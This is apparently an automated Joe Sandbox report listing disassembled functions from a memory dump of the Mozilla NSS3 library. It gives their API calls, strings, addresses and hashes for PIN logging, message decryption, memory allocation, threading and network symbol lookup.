Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize$nsl
API String ID: 1003633598-1837281251
Opcode ID: d9c8821f9ac57b4a357078c4ba3d834a09bf6cd9bdbce72d43cc347581e011c9
Instruction ID: 349f929179f6afe16e07f0f2dfb9851108a28377ce24da28e6a371827e942c08
Opcode Fuzzy Hash: d9c8821f9ac57b4a357078c4ba3d834a09bf6cd9bdbce72d43cc347581e011c9
Instruction Fuzzy Hash: 7641E971602114AFDB009B14DE8CBBA3BB5EB4734EF658074E5085B712DB709D78CB5A

Function 6C652F00 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SetPIN), ref: 6C652F26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C652F54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C652F63

Part of subcall function 6C73D930: PL_strncpyz.NSS3(?,?,?), ref: 6C73D963

PR_LogPrint.NSS3(?,00000000), ref: 6C652F79
PR_LogPrint.NSS3( pOldPin = 0x%p,?), ref: 6C652F9A
PR_LogPrint.NSS3( ulOldLen = %d,?), ref: 6C652FB5
PR_LogPrint.NSS3( pNewPin = 0x%p,?), ref: 6C652FCE
PR_LogPrint.NSS3( ulNewLen = %d,?), ref: 6C652FE7

Strings

C_SetPIN, xrefs: 6C652F21
pNewPin = 0x%p, xrefs: 6C652FC9
ulNewLen = %d, xrefs: 6C652FE2
(CK_INVALID_HANDLE), xrefs: 6C652F5C
ulOldLen = %d, xrefs: 6C652FB0
nsl, xrefs: 6C652FFF, 6C653030
pOldPin = 0x%p, xrefs: 6C652F95
hSession = 0x%x, xrefs: 6C652F3E, 6C652F4E

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pNewPin = 0x%p$ pOldPin = 0x%p$ ulNewLen = %d$ ulOldLen = %d$ (CK_INVALID_HANDLE)$C_SetPIN$nsl
API String ID: 1003633598-2430169420
Opcode ID: b078f7e144116e7abb7db02d4b2518ea4a3f4439521b244023d05807206ce36e
Instruction ID: 07bdacb2c583c12ea7edbb5e353d9fb9ef3ba3a532c222e9aa226097d26b9e0a
Opcode Fuzzy Hash: b078f7e144116e7abb7db02d4b2518ea4a3f4439521b244023d05807206ce36e
Instruction Fuzzy Hash: DA311931A02154AFCB008F14DE8CF4A7BB1EB4730EFA54034F90897712DB319968CBAA

Function 6C65A9A0 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptMessageBegin), ref: 6C65A9C6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C65A9F4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C65AA03

Part of subcall function 6C73D930: PL_strncpyz.NSS3(?,?,?), ref: 6C73D963

PR_LogPrint.NSS3(?,00000000), ref: 6C65AA19
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6C65AA3A
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6C65AA55
PR_LogPrint.NSS3( pAssociatedData = 0x%p,?), ref: 6C65AA6E
PR_LogPrint.NSS3( ulAssociatedDataLen = 0x%p,?), ref: 6C65AA87

Strings

pAssociatedData = 0x%p, xrefs: 6C65AA69
C_DecryptMessageBegin, xrefs: 6C65A9C1
(CK_INVALID_HANDLE), xrefs: 6C65A9FC
ulAssociatedDataLen = 0x%p, xrefs: 6C65AA82
nsl, xrefs: 6C65AA9F, 6C65AAD3
hSession = 0x%x, xrefs: 6C65A9DE, 6C65A9EE
ulParameterLen = 0x%p, xrefs: 6C65AA50
pParameter = 0x%p, xrefs: 6C65AA35

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pAssociatedData = 0x%p$ pParameter = 0x%p$ ulAssociatedDataLen = 0x%p$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_DecryptMessageBegin$nsl
API String ID: 1003633598-3320594683
Opcode ID: f9d17ffa87cd1de53a00363069a028162d547284cb345f6700bb9c2969f5b142
Instruction ID: daab4e11738c5ff6a7279faf6b65e84000c490217e46845db987ddaade422c43
Opcode Fuzzy Hash: f9d17ffa87cd1de53a00363069a028162d547284cb345f6700bb9c2969f5b142
Instruction Fuzzy Hash: 4E31E535A02155AFCB00DF54DE8CAAE3BB5EB4731DF658034E50897B13DB309928C7AA

Function 6C624AF0 Relevance: 27.4, APIs: 18, Instructions: 355memorystringthreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,?,6C661444,?,?,00000000,?,?), ref: 6C624BD4

Part of subcall function 6C660C90: PR_SetError.NSS3(00000000,00000000,6C661444,?,00000001,?,00000000,00000000,?,?,6C661444,?,?,00000000,?,?), ref: 6C660CB3

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C661444), ref: 6C624B87
memcpy.VCRUNTIME140(00000000,?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C624BA5

Part of subcall function 6C6788E0: TlsGetValue.KERNEL32(00000000,?,?,6C6808AA,?), ref: 6C6788F6
Part of subcall function 6C6788E0: EnterCriticalSection.KERNEL32(?,?,?,?,6C6808AA,?), ref: 6C67890B
Part of subcall function 6C6788E0: PR_NotifyCondVar.NSS3(?,?,?,?,?,6C6808AA,?), ref: 6C678936
Part of subcall function 6C6788E0: PR_Unlock.NSS3(?,?,?,?,?,6C6808AA,?), ref: 6C678940

PR_SetError.NSS3(FFFFE02A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C624DF5
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?), ref: 6C624B94

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C661444,?), ref: 6C624BC2
PR_GetCurrentThread.NSS3(?,?,?,?,?,00000000,00000000), ref: 6C624BEF
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C661444), ref: 6C624C27
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C661444), ref: 6C624C42
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C624D5A
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6C624D67
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C624D78
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C624DE4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C624E4C
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C624E5B
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6C624E6C

Part of subcall function 6C624880: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6248A2

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C624EF1
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C624F02

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Error$Arena$Alloc_Item_Valuememcpystrlen$CriticalEnterSectionUnlockZfree$AllocateArena_CompareCondCurrentFreeNotifyThreadfree
String ID:
API String ID: 24311736-0
Opcode ID: fef363c64d667360a087cc86db095e86d99b1bd1804956a9eeb456ed17e09da7
Instruction ID: 26cc1bf18b383e3ceb5c380e9b99d12f1d7c8b82637663905d25d5c4d969d11e
Opcode Fuzzy Hash: fef363c64d667360a087cc86db095e86d99b1bd1804956a9eeb456ed17e09da7
Instruction Fuzzy Hash: 82C16FB5E013199BEB10CF68DC80BEF77F8AF49308F144429E815A7741E775E9058BAA

Function 6C6B28C0 Relevance: 27.2, APIs: 18, Instructions: 230COMMON

Download Yara Rule

APIs

Part of subcall function 6C6B5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6B5B56

TlsGetValue.KERNEL32 ref: 6C6B290A
EnterCriticalSection.KERNEL32(00000001), ref: 6C6B291E
TlsGetValue.KERNEL32 ref: 6C6B2937
EnterCriticalSection.KERNEL32(00000001), ref: 6C6B294B
PR_EnterMonitor.NSS3(?), ref: 6C6B2966
PR_EnterMonitor.NSS3(?), ref: 6C6B29AC
PR_ExitMonitor.NSS3(?), ref: 6C6B29D1
PR_EnterMonitor.NSS3(?), ref: 6C6B29F0
PR_EnterMonitor.NSS3(?), ref: 6C6B2A15
PR_EnterMonitor.NSS3(?), ref: 6C6B2A37
PR_ExitMonitor.NSS3(?), ref: 6C6B2A61
PR_ExitMonitor.NSS3(?), ref: 6C6B2A78
PR_ExitMonitor.NSS3(?), ref: 6C6B2A8F
PR_ExitMonitor.NSS3(?), ref: 6C6B2AA6

Part of subcall function 6C6E9440: TlsGetValue.KERNEL32 ref: 6C6E945B
Part of subcall function 6C6E9440: TlsGetValue.KERNEL32 ref: 6C6E9479
Part of subcall function 6C6E9440: EnterCriticalSection.KERNEL32 ref: 6C6E9495
Part of subcall function 6C6E9440: TlsGetValue.KERNEL32 ref: 6C6E94E4
Part of subcall function 6C6E9440: TlsGetValue.KERNEL32 ref: 6C6E9532
Part of subcall function 6C6E9440: LeaveCriticalSection.KERNEL32 ref: 6C6E955D

PK11_HPKE_DestroyContext.NSS3(?,00000001), ref: 6C6B2AF9
free.MOZGLUE(?), ref: 6C6B2B16
PR_Unlock.NSS3(?), ref: 6C6B2B6D
PR_Unlock.NSS3(?), ref: 6C6B2B80

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$Exit$CriticalSection$Unlock$ContextDestroyIdentitiesK11_LayerLeavefree
String ID:
API String ID: 2841089016-0
Opcode ID: 7625b93a6e8f3d8571d0ea8544a06163215c81c1773d18ad3efae9d61588f3f6
Instruction ID: 15113544b8af9dc6ca5b986ff27e5040197b230cbb164321838442f54694381b
Opcode Fuzzy Hash: 7625b93a6e8f3d8571d0ea8544a06163215c81c1773d18ad3efae9d61588f3f6
Instruction Fuzzy Hash: 9381A2B1A007019BDB209E35EC456D7B7E5AF0630CF044939E85AD6A11EB32E529CB9A

Function 6C739C60 Relevance: 27.2, APIs: 18, Instructions: 202threadCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000080), ref: 6C739C70
PR_NewLock.NSS3 ref: 6C739C85

Part of subcall function 6C6E98D0: calloc.MOZGLUE(00000001,00000084,6C610936,00000001,?,6C61102C), ref: 6C6E98E5

PR_NewCondVar.NSS3(00000000), ref: 6C739C96

Part of subcall function 6C60BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C6121BC), ref: 6C60BB8C

PR_NewLock.NSS3 ref: 6C739CA9

Part of subcall function 6C6E98D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C6E9946
Part of subcall function 6C6E98D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5A16B7,00000000), ref: 6C6E994E
Part of subcall function 6C6E98D0: free.MOZGLUE(00000000), ref: 6C6E995E

PR_NewLock.NSS3 ref: 6C739CB9
PR_NewLock.NSS3 ref: 6C739CC9
PR_NewCondVar.NSS3(00000000), ref: 6C739CDA

Part of subcall function 6C60BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C60BBEB
Part of subcall function 6C60BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C60BBFB
Part of subcall function 6C60BB80: GetLastError.KERNEL32 ref: 6C60BC03
Part of subcall function 6C60BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C60BC19
Part of subcall function 6C60BB80: free.MOZGLUE(00000000), ref: 6C60BC22

PR_NewCondVar.NSS3(?), ref: 6C739CF0
PR_NewPollableEvent.NSS3 ref: 6C739D03

Part of subcall function 6C72F3B0: PR_CallOnce.NSS3(6C7814B0,6C72F510), ref: 6C72F3E6
Part of subcall function 6C72F3B0: PR_CreateIOLayerStub.NSS3(6C78006C), ref: 6C72F402
Part of subcall function 6C72F3B0: PR_Malloc.NSS3(00000004), ref: 6C72F416
Part of subcall function 6C72F3B0: PR_NewTCPSocketPair.NSS3(?), ref: 6C72F42D
Part of subcall function 6C72F3B0: PR_SetSocketOption.NSS3(?), ref: 6C72F455
Part of subcall function 6C72F3B0: PR_PushIOLayer.NSS3(?,000000FE,00000000), ref: 6C72F473

Part of subcall function 6C6E9890: TlsGetValue.KERNEL32(?,?,?,6C6E97EB), ref: 6C6E989E

EnterCriticalSection.KERNEL32(?), ref: 6C739D78
calloc.MOZGLUE(00000001,0000000C), ref: 6C739DAF
_PR_CreateThread.NSS3(00000000,6C739EA0,00000000,00000001,00000001,00000000,?,00000000), ref: 6C739D9F

Part of subcall function 6C60B3C0: TlsGetValue.KERNEL32 ref: 6C60B403
Part of subcall function 6C60B3C0: _PR_NativeCreateThread.NSS3(?,?,?,?,?,?,?,?), ref: 6C60B459

_PR_CreateThread.NSS3(00000000,6C73A060,00000000,00000001,00000001,00000000,?,00000000), ref: 6C739DE8
calloc.MOZGLUE(00000001,0000000C), ref: 6C739DFC
_PR_CreateThread.NSS3(00000000,6C73A530,00000000,00000001,00000001,00000000,?,00000000), ref: 6C739E29
calloc.MOZGLUE(00000001,0000000C), ref: 6C739E3D
_PR_MD_UNLOCK.NSS3(?), ref: 6C739E71
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C739E89

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: calloc$CreateError$LockThread$CondCriticalSection$CountInitializeLastLayerSocketSpinValuefree$CallEnterEventMallocNativeOnceOptionPairPollablePushStub
String ID:
API String ID: 4254102231-0
Opcode ID: 01fcd3e7c185bd5fc1100918f11ead94ec577e77417f4121989cd6ff569a6a9d
Instruction ID: d1a1590bfbbc92205c282f6470395642825a3387f1e50c52a5e70ce0fc9f92c0
Opcode Fuzzy Hash: 01fcd3e7c185bd5fc1100918f11ead94ec577e77417f4121989cd6ff569a6a9d
Instruction Fuzzy Hash: 8F618FB1A00716AFD715DF75C944AA7BBF8FF49208B04453AE809C7B51EB30E814CBA5

Function 6C678E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6C678E01,00000000,6C679060,6C780B64), ref: 6C678E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6C678E01,00000000,6C679060,6C780B64), ref: 6C678E9E
PORT_ArenaAlloc_Util.NSS3(6C780B64,00000001,?,?,?,?,6C678E01,00000000,6C679060,6C780B64), ref: 6C678EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6C678E01,00000000,6C679060,6C780B64), ref: 6C678EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6C678E01,00000000,6C679060,6C780B64), ref: 6C678ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6C678E01,00000000,6C679060,6C780B64), ref: 6C678EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6C678E01), ref: 6C678EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C780B64,6C780B64), ref: 6C678F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6C678F3F

Part of subcall function 6C67A110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6C67A421,00000000,00000000,6C679826), ref: 6C67A136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C67904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6C678E76

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: f69c62602dfb31536617967fd66723cf721a9af0d81e0055c00f6d327e565cbb
Instruction ID: 91883e97ecfc8c3b7d05619a20896fbaa108d30cd282eb342e5c7539108c6c3e
Opcode Fuzzy Hash: f69c62602dfb31536617967fd66723cf721a9af0d81e0055c00f6d327e565cbb
Instruction Fuzzy Hash: 6E61B2B1D001199BDB20CF65CC48AABB7B5FF88358F144528EC18A7751E735AD15CBB4

Function 6C628E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C628E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C628E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C628EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C7518D0,?), ref: 6C628F03
PR_CallOnce.NSS3(6C782AA4,6C6812D0), ref: 6C628F19
PL_FreeArenaPool.NSS3(?), ref: 6C628F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C628F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C628F65
PL_FinishArenaPool.NSS3(?), ref: 6C628FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6C628FFE
PR_CallOnce.NSS3(6C782AA4,6C6812D0), ref: 6C629012
PL_FreeArenaPool.NSS3(?), ref: 6C629024
PL_FinishArenaPool.NSS3(?), ref: 6C62902C
PORT_DestroyCheapArena.NSS3(?), ref: 6C62903E

Strings

security, xrefs: 6C628EE7

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 76566adf29bdfc5cb25587843c6677afd2d060b5ea63ab26f5e9cc11d8cec01b
Instruction ID: 2aa2f50d7da62cfbcc4c3a815e969ddc0e97f5c57054a127ffc7f0724fe17b6c
Opcode Fuzzy Hash: 76566adf29bdfc5cb25587843c6677afd2d060b5ea63ab26f5e9cc11d8cec01b
Instruction Fuzzy Hash: 27514A72509300ABD7109A549C40FEB73E8AFCA75CF40082EF99597B50E739D9098B6F

Function 6C6ECD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C6ECC7B), ref: 6C6ECD7A

Part of subcall function 6C6ECE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6C65C1A8,?), ref: 6C6ECE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C6ECDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C6ECDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6C6ECDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C6ECD8E

Part of subcall function 6C6105C0: PR_EnterMonitor.NSS3 ref: 6C6105D1
Part of subcall function 6C6105C0: PR_ExitMonitor.NSS3 ref: 6C6105EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6C6ECDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C6ECDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C6ECE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C6ECE29
PR_UnloadLibrary.NSS3(00000000), ref: 6C6ECE48

Strings

getaddrinfo, xrefs: 6C6ECD88, 6C6ECDF9
getnameinfo, xrefs: 6C6ECDB2, 6C6ECE23
ws2_32.dll, xrefs: 6C6ECD75
freeaddrinfo, xrefs: 6C6ECD9F, 6C6ECE10
wship6.dll, xrefs: 6C6ECDE3

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 28e3623c183514f238feb50ce62ab5233d63e5f709ccee7a5098f92de181574e
Instruction ID: 6c6350936c69c1a386bf2d72c56a60320e13f7804c75041cac7e4762053c57ec
Opcode Fuzzy Hash: 28e3623c183514f238feb50ce62ab5233d63e5f709ccee7a5098f92de181574e
Instruction Fuzzy Hash: 82112CA5F1B11077DB006A352E00ABA3D9C5B0720EF744536E916D1F01FF22D629CAEE

Function 6C731C60 Relevance: 25.6, APIs: 17, Instructions: 114COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000040,?,?,?,?,?,6C7313BC,?,?,?,6C731193), ref: 6C731C6B
PR_NewLock.NSS3(?,6C731193), ref: 6C731C7E

Part of subcall function 6C6E98D0: calloc.MOZGLUE(00000001,00000084,6C610936,00000001,?,6C61102C), ref: 6C6E98E5

PR_NewCondVar.NSS3(00000000,?,6C731193), ref: 6C731C91

Part of subcall function 6C60BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C6121BC), ref: 6C60BB8C

PR_NewCondVar.NSS3(00000000,?,?,6C731193), ref: 6C731CA7

Part of subcall function 6C60BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C60BBEB
